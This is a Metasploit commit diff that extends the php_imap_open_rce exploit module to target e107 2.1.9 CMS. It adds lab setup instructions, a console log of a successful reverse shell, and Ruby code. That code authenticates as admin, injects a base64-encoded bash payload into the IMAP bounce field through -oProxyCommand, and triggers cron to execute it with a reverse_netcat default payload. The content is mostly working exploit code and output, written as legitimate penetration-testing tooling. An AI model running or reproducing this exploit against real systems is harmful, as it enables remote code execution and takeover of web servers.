e107 exploitable now

GSoC/Meterpreter_Web_Console
h00die 2018-11-23 20:16:53 -05:00
parent acf421ffb0
commit e36cef3b96
2 changed files with 233 additions and 6 deletions

View File

@ -66,11 +66,11 @@ Utilize the following configuration:
ServerName example.com ServerName example.com
ServerAlias www.example.com ServerAlias www.example.com
<Directory /var/www/html/prestashop/> &lt;Directory /var/www/html/prestashop/>
Options +FollowSymlinks Options +FollowSymlinks
AllowOverride All AllowOverride All
Require all granted Require all granted
</Directory> &lt;/Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined CustomLog ${APACHE_LOG_DIR}/access.log combined
@ -137,6 +137,72 @@ sudo systemctl restart apache2
sudo systemctl restart mysql sudo systemctl restart mysql
``` ```
### e107 2.1.9 on Ubuntu 16.04
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/),
however with php 7.0 instead of 7.2.
```
sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
sudo systemctl restart apache2.service
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo mysql -u root -p
```
```
CREATE DATABASE e107;
CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
```
```
cd /tmp
wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
sudo chown -R www-data:www-data /var/www/html/e107/
sudo chmod -R 755 /var/www/html/e107/
sudo nano /etc/apache2/sites-available/e107.conf
```
```
&lt;VirtualHost *:80>
ServerAdmin admin@example.com
DocumentRoot /var/www/html/e107
ServerName example.com
ServerAlias www.example.com
&lt;Directory /var/www/html/e107/>
Options FollowSymlinks
AllowOverride All
Require all granted
&lt;/Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;Directory /var/www/html/e107/>
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*) index.php [PT,L]
&lt;/Directory>
&lt;/VirtualHost>
```
```
sudo a2ensite e107.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service
sudo systemctl restart mysql.server
sudo systemctl restart mysql.service
```
## Verification Steps ## Verification Steps
1. Install a vulnerable application 1. Install a vulnerable application
@ -194,6 +260,7 @@ sudo systemctl restart mysql
id id
uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
``` ```
### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0 ### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0
``` ```
@ -227,3 +294,38 @@ sudo systemctl restart mysql
id id
uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
``` ```
### e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0
```
resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
resource (e107.rb)> set target 2
target => 2
resource (e107.rb)> set TARGETURI /
TARGETURI => /
resource (e107.rb)> set USERNAME admin
USERNAME => admin
resource (e107.rb)> set PASSWORD admin
PASSWORD => admin
resource (e107.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (e107.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (e107.rb)> set verbose true
verbose => true
resource (e107.rb)> exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Logging in as admin:admin
[+] Login Success
[*] Checking if Cron is enabled for triggering
[+] Storing payload in mail settings
[*] Loading cron page to execute job manually
[+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
[*] IMAP server config left on server, manual removal required.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500
uname -a
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

View File

@ -39,10 +39,15 @@ class MetasploitModule < Msf::Exploit::Remote
'Targets' => 'Targets' =>
[ [
[ 'prestashop', {} ], [ 'prestashop', {} ],
[ 'suitecrm', {}] [ 'suitecrm', {}],
[ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron
], ],
'PrependFork' => true, 'PrependFork' => true,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat'}, 'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 120
},
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 23 2018')) 'DisclosureDate' => 'Oct 23 2018'))
@ -83,12 +88,12 @@ class MetasploitModule < Msf::Exploit::Remote
CheckCode::Safe CheckCode::Safe
end end
def command def command(spaces='$IFS$()')
#payload is base64 encoded, and stuffed into the SSH option. #payload is base64 encoded, and stuffed into the SSH option.
enc_payload = Rex::Text.encode_base64(payload.encoded) enc_payload = Rex::Text.encode_base64(payload.encoded)
command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`" command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
#final payload can not contain spaces, however $IFS$() will return the space we require #final payload can not contain spaces, however $IFS$() will return the space we require
command.gsub!(' ', '$IFS$()') command.gsub!(' ', spaces)
end end
def exploit def exploit
@ -327,6 +332,126 @@ class MetasploitModule < Msf::Exploit::Remote
if res && res.code == 200 if res && res.code == 200
print_error('Triggered CSRF protection, may try exploitation manually.') print_error('Triggered CSRF protection, may try exploitation manually.')
end end
print_status('IMAP server config left on server, manual removal required.')
elsif target.name =~ /e107v2/
# e107 has an encoder which prevents $IFS$() from being used as $ = &#036;
# \t also became /t, however "\t" does seem to work.
# e107 also uses a cron job to check bounce jobs, which may not be active.
# either cron can be disabled, or bounce checks disabled, so we try to
# kick the process manually, however if it doesn't work we'll hope
# cron is running and we get a call back anyways.
vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'admin.php'),
'vars_post' => {
'authname' => datastore['USERNAME'],
'authpass' => datastore['PASSWORD'],
'authsubmit' => 'Log In'
})
unless res
print_error('Error loading site. Check options.')
return
end
if res.code == 302
cookie = res.get_cookies
print_good('Login Success')
else
print_error('Failed Login, check options.')
end
vprint_status('Checking if Cron is enabled for triggering')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie
)
unless res
print_error('Error loading site. Check options.')
return
end
if res.body.include? 'Status: <b>Disabled</b>'
print_error('Cron disabled, unexploitable.')
return
end
print_good('Storing payload in mail settings')
# the imap/pop field is hard to find. Check Users > Mail
# then check "Bounced emails - Processing method" and set it to "Mail account"
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'mailout.php'),
'cookie' => cookie,
'vars_get' => {
'mode' => 'prefs',
'action' => 'prefs'
},
'vars_post' => {
'testaddress' => 'none@none.com',
'testtemplate' => 'textonly',
'bulkmailer' => 'smtp',
'smtp_server' => '1.1.1.1',
'smtp_username' => 'username',
'smtp_password' => 'password',
'smtp_port' => '25',
'smtp_options' => '',
'smtp_keepalive' => '0',
'smtp_useVERP' => '0',
'mail_sendstyle' => 'texthtml',
'mail_pause' => '3',
'mail_pausetime' => '4',
'mail_workpertick' => '5',
'mail_log_option' => '0',
'mail_bounce' => 'mail',
'mail_bounce_email2' => '',
'mail_bounce_email' => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
'mail_bounce_pop3' => "x #{command("\t")}}",
'mail_bounce_user' => Rex::Text.rand_text_alphanumeric(8),
'mail_bounce_pass' => Rex::Text.rand_text_alphanumeric(8),
'mail_bounce_type' => 'imap',
'mail_bounce_auto' => '1',
'updateprefs' => 'Save Changes'
})
vprint_status('Loading cron page to execute job manually')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie
)
unless res
print_error('Error loading site. Check options.')
return
end
if /name='e-token' value='(?<etoken>\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\[(?<cron_id>\d)\]/m =~ res.body
print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
'cookie' => cookie,
'vars_post' => {
'e-token' => etoken,
'e-columns[]' => 'cron_category',
'e-columns[]' => 'cron_name',
'e-columns[]' => 'cron_description',
'e-columns[]' => 'cron_function',
'e-columns[]' => 'cron_tab',
'e-columns[]' => 'cron_lastrun',
'e-columns[]' => 'cron_active',
"cron_execute[#{cron_id}]" => '1',
'etrigger_batch' => ''
})
else
print_error('e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.')
end
print_status('IMAP server config left on server, manual removal required.') print_status('IMAP server config left on server, manual removal required.')
end end
end end